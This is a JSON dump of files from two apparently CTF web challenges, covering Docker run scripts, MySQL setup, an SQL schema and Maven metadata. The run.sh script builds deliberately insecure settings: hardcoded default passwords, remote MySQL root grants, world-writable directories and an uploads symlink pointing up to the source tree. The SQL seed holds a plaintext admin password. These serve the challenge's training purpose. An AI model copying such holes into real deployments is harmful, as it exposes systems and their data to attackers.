<label>Password</label>\n                <div class=\"ui left labeled icon input\">\n                    <input type=\"password\" id=\"password\">\n                    <i class=\"lock icon\"></i>\n                    <div class=\"ui corner label\">\n                        <i class=\"icon asterisk\"></i>\n                    </div>\n                </div>\n            </div>\n            <div class=\"ui error message\" id=\"err\">\n                <div class=\"header\"></div>\n            </div>\n            <a class=\"ui blue submit button\" id=\"login\" href=\"javascript:login();\">Login</a>\n        </div>\n    </div>\n</body>\n</html>"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/views/me/default.html",
    "content": "这是后台页面"
  },
  {
    "path": "web_gotsctf2018/motd",
    "content": "  ____  ___ _____ ____   ____ _____ _____ ____   ___  _  ___\n / ___|/ _ \\_   _/ ___| / ___|_   _|  ___|___ \\ / _ \\/ |( _ )\n| |  _| | | || | \\___ \\| |     | | | |_    __) | | | | |/ _ \\\n| |_| | |_| || |  ___) | |___  | | |  _|  / __/| |_| | | (_) |\n \\____|\\___/ |_| |____/ \\____| |_| |_|   |_____|\\___/|_|\\___/\n\nWow, such go!\n"
  },
  {
    "path": "web_gotsctf2018/my.cnf",
    "content": "[mysqld]\nuser = root\ndatadir = /app/mysql\nport = 3306\n"
  },
  {
    "path": "web_gotsctf2018/run.sh",
    "content": "#!/bin/sh\nchmod 777 /tmp/\n\nif [ -d /app/mysql ]; then\n  echo \"[i] MySQL directory already present, skipping creation\"\nelse\n  if [ \"$CTF_USER_PASSWORD\" = \"\" ]; then\n    CTF_USER_PASSWORD=moxiaoxi666\n    echo \"ctf:$CTF_USER_PASSWORD\" | chpasswd\n    echo \"[i] ctf user Password: $CTF_USER_PASSWORD\"\n  fi\n\n  ssh-keygen -A\n\n  echo \"[i] MySQL data directory not found, creating initial DBs\"\n\n  mysql_install_db --user=root > /dev/null\n\n  if [ \"$MYSQL_ROOT_PASSWORD\" = \"\" ]; then\n    MYSQL_ROOT_PASSWORD=111111\n    echo \"[i] MySQL root Password: $MYSQL_ROOT_PASSWORD\"\n  fi\n\n  MYSQL_DATABASE=\"\"\n  MYSQL_USER=\"\"\n  MYSQL_PASSWORD=\"\"\n\n  if [ ! -d \"/run/mysqld\" ]; then\n    mkdir -p /run/mysqld\n  fi\n\n  tfile=`mktemp`\n  if [ ! -f \"$tfile\" ]; then\n      return 1\n  fi\n\n  cat << EOF > $tfile\nUSE mysql;\nFLUSH PRIVILEGES;\nGRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY \"$MYSQL_ROOT_PASSWORD\" WITH GRANT OPTION;\nGRANT ALL PRIVILEGES ON *.* TO 'root'@'localhost' WITH GRANT OPTION;\nUPDATE user SET password=PASSWORD(\"\") WHERE user='root' AND host='localhost';\nEOF\n  cat /go/src/gotsctf2018/gotsctf.sql >> $tfile\n\n  if [ \"$MYSQL_DATABASE\" != \"\" ]; then\n    echo \"[i] Creating database: $MYSQL_DATABASE\"\n    echo \"CREATE DATABASE IF NOT EXISTS \\`$MYSQL_DATABASE\\` CHARACTER SET utf8 COLLATE utf8_general_ci;\" >> $tfile\n\n    if [ \"$MYSQL_USER\" != \"\" ]; then\n      echo \"[i] Creating user: $MYSQL_USER with password $MYSQL_PASSWORD\"\n      echo \"GRANT ALL ON \\`$MYSQL_DATABASE\\`.* to '$MYSQL_USER'@'%' IDENTIFIED BY '$MYSQL_PASSWORD';\" >> $tfile\n    fi\n  fi\n\n  /usr/bin/mysqld --user=root --bootstrap --verbose=0 < $tfile\n  rm -f $tfile\n\nfi\n\n/usr/bin/mysqld --user=root &\n/usr/sbin/sshd\n\nbash -c 'cd /go/src/gotsctf2018 && sleep 5 && sudo -u ctf GOPATH=\"/go\" bee run ' &\nrm -rf /go/src/gotsctf2018/static/uploads\nln -s  ../../ /go/src/gotsctf2018/static/uploads\nchmod 777 /go/src/gotsctf2018/static/uploads\nchmod 755 /go/src/gotsctf2018\nln -s  /go/src/gotsctf2018/flag /flag\npython /tmp/flag.py  &  2>&1 1>/dev/null\nsleep 2\nrm -rf /tmp\nexec /bin/bash"
  },
  {
    "path": "web_javatsctf2018/debug.sh",
    "content": "#!/bin/sh\ncp run.sh tmp/\ncp flag.py tmp/\ndocker run -p 8080:8080  -p 2201:22  -v /var/lib/mysql   -v `pwd`/tmp:/tmp  -v `pwd`/javatsctf2018:/opt/source/ -ti wulasite/jmmt:latest /tmp/run.sh"
  },
  {
    "path": "web_javatsctf2018/docker-compose.yml",
    "content": "version: \"3\"\nservices:\n  web:\n    container_name: jmmt\n    image: wulasite/jmmt:latest\n    ports:\n        - 8080:8080\n    volumes:\n        - ./source.zip:/opt/source.zip\n        - ./run.sh:/opt/run.sh\n    command:\n        - /opt/run.sh\n"
  },
  {
    "path": "web_javatsctf2018/docker.sh",
    "content": "#!/bin/sh\ncp run.sh tmp/\ncp flag.py tmp/\ndocker run -p {out_port}:8080  -p {ssh_port}:22  -v /var/lib/mysql   -v `pwd`/tmp:/tmp  -v `pwd`/javatsctf2018:/opt/source/ -d --name {team_name}   -ti wulasite/jmmt:latest /tmp/run.sh"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/chapter2.sql",
    "content": "/*\nNavicat MySQL Data Transfer\n\nSource Server         : 本地MySQL\nSource Server Version : 50711\nSource Host           : localhost:3306\nSource Database       : chapter2\n\nTarget Server Type    : MYSQL\nTarget Server Version : 50711\nFile Encoding         : 65001\n\nDate: 2018-05-02 21:51:10\n*/\n\nSET FOREIGN_KEY_CHECKS=0;\n\n-- ----------------------------\n-- Table structure for profile\n-- ----------------------------\nDROP TABLE IF EXISTS `profile`;\nCREATE TABLE `profile` (\n  `id` int(11) NOT NULL AUTO_INCREMENT,\n  `user_id` int(11) NOT NULL,\n  `name` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `gender` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `birthday` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `province` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `nation` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `politics_status` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `IDnumber` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `type` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `school` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `grade` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `address` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `postcode` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `phone` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `height` int(11) DEFAULT NULL,\n  `weight` int(11) DEFAULT NULL,\n  `mail` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `father_name` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `father_job` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `father_phone` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `mother_name` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `mother_job` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `mother_phone` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `hobby` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `description` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `photo` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  PRIMARY KEY (`id`)\n) ENGINE=InnoDB AUTO_INCREMENT=152 DEFAULT CHARSET=utf8 COLLATE=utf8_bin;\n\n-- ----------------------------\n-- Records of profile\n-- ----------------------------\n\n-- ----------------------------\n-- Table structure for user\n-- ----------------------------\nDROP TABLE IF EXISTS `user`;\nCREATE TABLE `user` (\n  `id` int(11) NOT NULL AUTO_INCREMENT,\n  `username` varchar(255) COLLATE utf8_bin NOT NULL,\n  `password` varchar(255) COLLATE utf8_bin NOT NULL,\n  `email` varchar(255) COLLATE utf8_bin NOT NULL,\n  `salt` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `head_url` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `score` int(11) DEFAULT NULL,\n  `checkcode` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `time` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `first` int(11) unsigned zerofill DEFAULT NULL,\n  `pdd` varchar(255) COLLATE utf8_bin NOT NULL,\n  PRIMARY KEY (`id`)\n) ENGINE=InnoDB AUTO_INCREMENT=336 DEFAULT CHARSET=utf8 COLLATE=utf8_bin;\n\n-- ----------------------------\n-- Records of user   buptctfadmin/admin123\n-- ----------------------------\nINSERT INTO `user` VALUES ('1', 'buptctfadmin', '556E04CCEFB0021A3242E30CF2346AB0', '@bupt.edu.cn', 'FB4D9BA04997C752656A06', null, null, null, null, '00000000002', 'admin123');\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/charpter2.iml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<module org.jetbrains.idea.maven.project.MavenProjectsManager.isMavenModule=\"true\" type=\"JAVA_MODULE\" version=\"4\">\n  <component name=\"FacetManager\">\n    <facet type=\"Spring\" name=\"Spring\">\n      <configuration />\n    </facet>\n    <facet type=\"web\" name=\"Web\">\n      <configuration>\n        <descriptors>\n          <deploymentDescriptor name=\"web.xml\" url=\"file://$MODULE_DIR$/src/main/webapp/WEB-INF/web.xml\" />\n        </descriptors>\n        <webroots>\n          <root url=\"file://$MODULE_DIR$/src/main/webapp\" relative=\"/\" />\n        </webroots>\n      </configuration>\n    </facet>\n  </component>\n  <component name=\"NewModuleRootManager\" LANGUAGE_LEVEL=\"JDK_1_8\">\n    <output url=\"file://$MODULE_DIR$/target/classes\" />\n    <output-test url=\"file://$MODULE_DIR$/target/test-classes\" />\n    <content url=\"file://$MODULE_DIR$\">\n      <sourceFolder url=\"file://$MODULE_DIR$/src/main/java\" isTestSource=\"false\" />\n      <sourceFolder url=\"file://$MODULE_DIR$/src/main/resources\" type=\"java-resource\" />\n      <excludeFolder url=\"file://$MODULE_DIR$/target\" />\n    </content>\n    <orderEntry type=\"inheritedJdk\" />\n    <orderEntry type=\"sourceFolder\" forTests=\"false\" />\n    <orderEntry type=\"library\" name=\"Maven: com.fasterxml.jackson.core:jackson-databind:2.5.3\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: com.fasterxml.jackson.core:jackson-core:2.5.3\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: com.fasterxml.jackson.core:jackson-annotations:2.5.3\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: com.alibaba:druid:0.2.23\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: org.apache.poi:poi:3.15\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: commons-codec:commons-codec:1.10\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: org.apache.commons:commons-collections4:4.1\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: javax.mail:mail:1.4.7\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: javax.activation:activation:1.1\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: org.apache.shiro:shiro-core:1.2.2\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: commons-beanutils:commons-beanutils:1.8.3\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: org.apache.shiro:shiro-web:1.2.3\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: org.apache.shiro:shiro-spring:1.2.3\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: net.coobird:thumbnailator:0.4.8\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: commons-fileupload:commons-fileupload:1.3.1\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: commons-io:commons-io:2.5\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: junit:junit:4.9\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: org.hamcrest:hamcrest-core:1.1\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: org.slf4j:slf4j-api:1.7.25\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: org.springframework:spring-beans:4.2.2.RELEASE\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: org.springframework:spring-core:4.2.2.RELEASE\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: commons-logging:commons-logging:1.2\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: org.springframework:spring-context:4.2.2.RELEASE\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: org.springframework:spring-aop:4.2.2.RELEASE\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: aopalliance:aopalliance:1.0\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: org.springframework:spring-expression:4.2.2.RELEASE\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: org.springframework:spring-context-support:4.2.2.RELEASE\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: org.springframework:spring-jdbc:4.2.2.RELEASE\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: org.springframework:spring-tx:4.2.2.RELEASE\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: org.springframework:spring-webmvc:4.2.2.RELEASE\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: org.springframework:spring-web:4.2.2.RELEASE\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: commons-dbcp:commons-dbcp:1.4\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: commons-pool:commons-pool:1.5.4\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: mysql:mysql-connector-java:5.1.29\" level=\"project\" />\n    <orderEntry type=\"library\" scope=\"PROVIDED\" name=\"Maven: javax.servlet:javax.servlet-api:3.0.1\" level=\"project\" />\n    <orderEntry type=\"library\" scope=\"PROVIDED\" name=\"Maven: javax.servlet:servlet-api:3.0-alpha-1\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: org.aspectj:aspectjweaver:1.8.1\" level=\"project\" />\n    <orderEntry type=\"library\" scope=\"TEST\" name=\"Maven: org.testng:testng:6.8.7\" level=\"project\" />\n    <orderEntry type=\"library\" scope=\"TEST\" name=\"Maven: org.beanshell:bsh:2.0b4\" level=\"project\" />\n    <orderEntry type=\"library\" scope=\"TEST\" name=\"Maven: com.beust:jcommander:1.27\" level=\"project\" />\n    <orderEntry type=\"library\" scope=\"TEST\" name=\"Maven: org.yaml:snakeyaml:1.12\" level=\"project\" />\n    <orderEntry type=\"library\" scope=\"TEST\" name=\"Maven: org.springframework:spring-test:4.2.2.RELEASE\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: jstl:jstl:1.2\" level=\"project\" />\n  </component>\n</module>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/antlr/antlr/2.7.2/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:05:08 CST 2018\nantlr-2.7.2.jar>central=\nantlr-2.7.2.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/antlr/antlr/2.7.2/antlr-2.7.2.jar.sha1",
    "content": "546b5220622c4d9b2da45ad1899224b6ce1c8830"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/antlr/antlr/2.7.2/antlr-2.7.2.pom",
    "content": "<project>\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>antlr</groupId>\n  <artifactId>antlr</artifactId>\n  <version>2.7.2</version>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/antlr/antlr/2.7.2/antlr-2.7.2.pom.sha1",
    "content": "60b2b206af3df735765e8e284396bcfdbced5665  /home/projects/maven/repository-staging/to-ibiblio/maven2/antlr/antlr/2.7.2/antlr-2.7.2.pom\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/aopalliance/aopalliance/1.0/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:04 CST 2018\naopalliance-1.0.pom>central=\naopalliance-1.0.jar>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/aopalliance/aopalliance/1.0/aopalliance-1.0.jar.sha1",
    "content": "0235ba8b489512805ac13a8f9ea77a1ca5ebe3e8"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/aopalliance/aopalliance/1.0/aopalliance-1.0.pom",
    "content": "<project>\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>aopalliance</groupId>\n  <artifactId>aopalliance</artifactId>\n  <name>AOP alliance</name>\n  <version>1.0</version>\n  <description>AOP Alliance</description>\n  <url>http://aopalliance.sourceforge.net</url> \n\n  <licenses>\n    <license>\n      <name>Public Domain</name>\n    </license>\n  </licenses>\n</project>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/aopalliance/aopalliance/1.0/aopalliance-1.0.pom.sha1",
    "content": "5128a2b0efbba460a1178d07773618e0986ea152  aopalliance-1.0.pom\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/avalon-framework/avalon-framework/4.1.3/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:01:21 CST 2018\navalon-framework-4.1.3.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/avalon-framework/avalon-framework/4.1.3/avalon-framework-4.1.3.pom",
    "content": "<project>\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>avalon-framework</groupId>\n  <artifactId>avalon-framework</artifactId>\n  <version>4.1.3</version>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/avalon-framework/avalon-framework/4.1.3/avalon-framework-4.1.3.pom.sha1",
    "content": "853c9df18e44caf0bab1eab8be0d482f9ec9bcd7  /home/projects/maven/repository-staging/to-ibiblio/maven2/avalon-framework/avalon-framework/4.1.3/avalon-framework-4.1.3.pom\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/backport-util-concurrent/backport-util-concurrent/3.1/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:19 CST 2018\nbackport-util-concurrent-3.1.jar>central=\nbackport-util-concurrent-3.1.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/backport-util-concurrent/backport-util-concurrent/3.1/backport-util-concurrent-3.1.jar.sha1",
    "content": "682f7ac17fed79e92f8e87d8455192b63376347b  /home/maven/repository-staging/to-ibiblio/maven2/backport-util-concurrent/backport-util-concurrent/3.1/backport-util-concurrent-3.1.jar\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/backport-util-concurrent/backport-util-concurrent/3.1/backport-util-concurrent-3.1.pom",
    "content": "<project>\n    <modelVersion>4.0.0</modelVersion>\n    <groupId>backport-util-concurrent</groupId>\n    <artifactId>backport-util-concurrent</artifactId>\n    <version>3.1</version>\n    <packaging>jar</packaging>\n    <name>Backport of JSR 166</name>\n    <url>http://backport-jsr166.sourceforge.net/</url>\n    <description>Dawid Kurzyniec's backport of JSR 166</description>\n    <licenses>\n        <license>\n            <name>Public Domain</name>\n            <url>http://creativecommons.org/licenses/publicdomain</url>\n            <distribution>repo</distribution>\n        </license>\n    </licenses>\n    <scm>\n        <url>svn://dcl.mathcs.emory.edu/software/harness2/trunk/util/backport-util-concurrent/</url>\n    </scm>\n    <organization>\n        <name>Dawid Kurzyniec</name>\n        <url>http://www.mathcs.emory.edu/~dawidk/</url>\n    </organization>\n    <dependencies/>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/backport-util-concurrent/backport-util-concurrent/3.1/backport-util-concurrent-3.1.pom.sha1",
    "content": "24aa8f29c14d1c63225caa6ad5328f1f7a2497a8  /home/maven/repository-staging/to-ibiblio/maven2/backport-util-concurrent/backport-util-concurrent/3.1/backport-util-concurrent-3.1.pom\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/classworlds/classworlds/1.1/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:32 CST 2018\nclassworlds-1.1.jar>central=\nclassworlds-1.1.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/classworlds/classworlds/1.1/classworlds-1.1.jar.sha1",
    "content": "60c708f55deeb7c5dfce8a7886ef09cbc1388eca"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/classworlds/classworlds/1.1/classworlds-1.1.pom",
    "content": "<project>\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>classworlds</groupId>\n  <artifactId>classworlds</artifactId>\n  <name>classworlds</name>\n  <version>1.1</version>\n  <description></description>\n  <url>http://classworlds.codehaus.org/</url>\n  <ciManagement>\n    <notifiers>\n      <notifier>\n        <configuration>\n          <address>classworlds-scm@lists.codehaus.org</address>\n        </configuration>\n      </notifier>\n    </notifiers>\n  </ciManagement>\n  <inceptionYear>2002</inceptionYear>\n  <mailingLists>\n    <mailingList>\n      <name>classworlds users</name>\n      <subscribe>http://lists.codehaus.org/mailman/listinfo/classworlds-user</subscribe>\n      <unsubscribe>http://lists.codehaus.org/mailman/listinfo/classworlds-user</unsubscribe>\n      <archive>http://lists.codehaus.org/pipermail/classworlds-user/</archive>\n    </mailingList>\n    <mailingList>\n      <name>classworlds developers</name>\n      <subscribe>http://lists.codehaus.org/mailman/listinfo/classworlds-dev</subscribe>\n      <unsubscribe>http://lists.codehaus.org/mailman/listinfo/classworlds-dev</unsubscribe>\n      <archive>http://lists.codehaus.org/pipermail/classworlds-dev/</archive>\n    </mailingList>\n    <mailingList>\n      <name>classworlds commit messages</name>\n      <subscribe>http://lists.codehaus.org/mailman/listinfo/classworlds-scm</subscribe>\n      <unsubscribe>http://lists.codehaus.org/mailman/listinfo/classworlds-scm</unsubscribe>\n      <archive>http://lists.codehaus.org/pipermail/classworlds-scm/</archive>\n    </mailingList>\n  </mailingLists>\n  <developers>\n    <developer>\n      <id>bob</id>\n      <name>bob mcwhirter</name>\n      <email>bob@werken.com</email>\n      <organization>The Werken Company</organization>\n      <roles>\n        <role>Founder</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>jvanzyl</id>\n      <name>Jason van Zyl</name>\n      <email>jason@zenplex.com</email>\n      <organization>Zenplex</organization>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>bwalding</id>\n      <name>Ben Walding</name>\n      <email>ben@walding.com</email>\n      <organization>Walding Consulting Services</organization>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n  </developers>\n  <scm>\n    <connection>scm:cvs:pserver:anonymous@cvs.classworlds.codehaus.org:/home/projects/classworlds/scm/:classworlds</connection>\n    <developerConnection>scm:cvs:ext:brett@cvs.classworlds.codehaus.org:/home/projects/classworlds/scm/:classworlds</developerConnection>\n    <url>http://cvs.classworlds.codehaus.org/</url>\n  </scm>\n  <organization>\n    <name>The Codehaus</name>\n    <url>http://codehaus.org/</url>\n  </organization>\n  <build>\n    <sourceDirectory>src/java/main</sourceDirectory>\n    <testSourceDirectory>src/java/test</testSourceDirectory>\n    <plugins>\n      <plugin>\n        <artifactId>surefire</artifactId>\n        <configuration>\n          <includes>\n            <include>**/*Test.java</include>\n          </includes>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n  <distributionManagement>\n    <site>\n      <id>default</id>\n      <name>Default Site</name>\n      <url>scp://classworlds.codehaus.org//www/classworlds.codehaus.org</url>\n    </site>\n  </distributionManagement>\n</project>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/classworlds/classworlds/1.1/classworlds-1.1.pom.sha1",
    "content": "4703c4199028094698c222c17afea6dcd9f04999"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/classworlds/classworlds/1.1-alpha-2/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:59:40 CST 2018\nclassworlds-1.1-alpha-2.jar>central=\nclassworlds-1.1-alpha-2.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/classworlds/classworlds/1.1-alpha-2/classworlds-1.1-alpha-2.jar.sha1",
    "content": "05adf2e681c57d7f48038b602f3ca2254ee82d47"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/classworlds/classworlds/1.1-alpha-2/classworlds-1.1-alpha-2.pom",
    "content": "<project>\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>classworlds</groupId>\n  <artifactId>classworlds</artifactId>\n  <name>classworlds</name>\n  <version>1.1-alpha-2</version>\n  <description></description>\n  <url>http://classworlds.codehaus.org/</url>\n  <ciManagement>\n    <notifiers>\n      <notifier>\n        <address>classworlds-scm@lists.codehaus.org</address>\n      </notifier>\n    </notifiers>\n  </ciManagement>\n  <inceptionYear>2002</inceptionYear>\n  <mailingLists>\n    <mailingList>\n      <name>classworlds users</name>\n      <subscribe>http://lists.codehaus.org/mailman/listinfo/classworlds-user</subscribe>\n      <unsubscribe>http://lists.codehaus.org/mailman/listinfo/classworlds-user</unsubscribe>\n      <archive>http://lists.codehaus.org/pipermail/classworlds-user/</archive>\n    </mailingList>\n    <mailingList>\n      <name>classworlds developers</name>\n      <subscribe>http://lists.codehaus.org/mailman/listinfo/classworlds-dev</subscribe>\n      <unsubscribe>http://lists.codehaus.org/mailman/listinfo/classworlds-dev</unsubscribe>\n      <archive>http://lists.codehaus.org/pipermail/classworlds-dev/</archive>\n    </mailingList>\n    <mailingList>\n      <name>classworlds commit messages</name>\n      <subscribe>http://lists.codehaus.org/mailman/listinfo/classworlds-scm</subscribe>\n      <unsubscribe>http://lists.codehaus.org/mailman/listinfo/classworlds-scm</unsubscribe>\n      <archive>http://lists.codehaus.org/pipermail/classworlds-scm/</archive>\n    </mailingList>\n  </mailingLists>\n  <developers>\n    <developer>\n      <id>bob</id>\n      <name>bob mcwhirter</name>\n      <email>bob@werken.com</email>\n      <organization>The Werken Company</organization>\n      <roles>\n        <role>Founder</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>jvanzyl</id>\n      <name>Jason van Zyl</name>\n      <email>jason@zenplex.com</email>\n      <organization>Zenplex</organization>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>bwalding</id>\n      <name>Ben Walding</name>\n      <email>ben@walding.com</email>\n      <organization>Walding Consulting Services</organization>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n  </developers>\n  <scm>\n    <connection>scm:cvs:pserver:anonymous@cvs.codehaus.org:/scm/cvspublic/:classworlds</connection>\n    <url>http://cvs.classworlds.codehaus.org/</url>\n  </scm>\n  <organization>\n    <name>The Codehaus</name>\n    <url>http://codehaus.org/</url>\n  </organization>\n  <build>\n    <sourceDirectory>src/java/main</sourceDirectory>\n    <testSourceDirectory>src/java/test</testSourceDirectory>\n    <plugins>\n      <plugin>\n        <artifactId>maven-surefire-plugin</artifactId>\n        <configuration>\n          <includes>\n            <include>**/*Test.java</include>\n          </includes>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n  <distributionManagement>\n    <site>\n      <id>default</id>\n      <name>Default Site</name>\n      <url>scp://classworlds.codehaus.org//www/classworlds.codehaus.org</url>\n    </site>\n  </distributionManagement>\n</project>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/classworlds/classworlds/1.1-alpha-2/classworlds-1.1-alpha-2.pom.sha1",
    "content": "8c8ad6a96a8c1168f8b12ec8a227b8261b160b26  /home/projects/maven/repository-staging/to-ibiblio/maven2/classworlds/classworlds/1.1-alpha-2/classworlds-1.1-alpha-2.pom\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/com/alibaba/druid/0.2.23/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:04 CST 2018\ndruid-0.2.23.jar>central=\ndruid-0.2.23.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/com/alibaba/druid/0.2.23/druid-0.2.23.jar.sha1",
    "content": "66d2888a133149bbadddb1d9beaa0f0cc597a93c"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/com/alibaba/druid/0.2.23/druid-0.2.23.pom",
    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n\t<modelVersion>4.0.0</modelVersion>\n\n\t<groupId>com.alibaba</groupId>\n\t<artifactId>druid</artifactId>\n\t<version>0.2.23</version>\n\n\t<packaging>jar</packaging>\n\t<name>druid</name>\n\t<description>An JDBC datasource implementation.</description>\n\t<url>https://github.com/AlibabaTech/druid</url>\n\t<inceptionYear>2012</inceptionYear>\n\n\t<properties>\n\t\t<spring.version>3.1.1.RELEASE</spring.version>\n\t\t<junit.version>4.11</junit.version>\n\n\t\t<gpg.skip>false</gpg.skip>\n\t        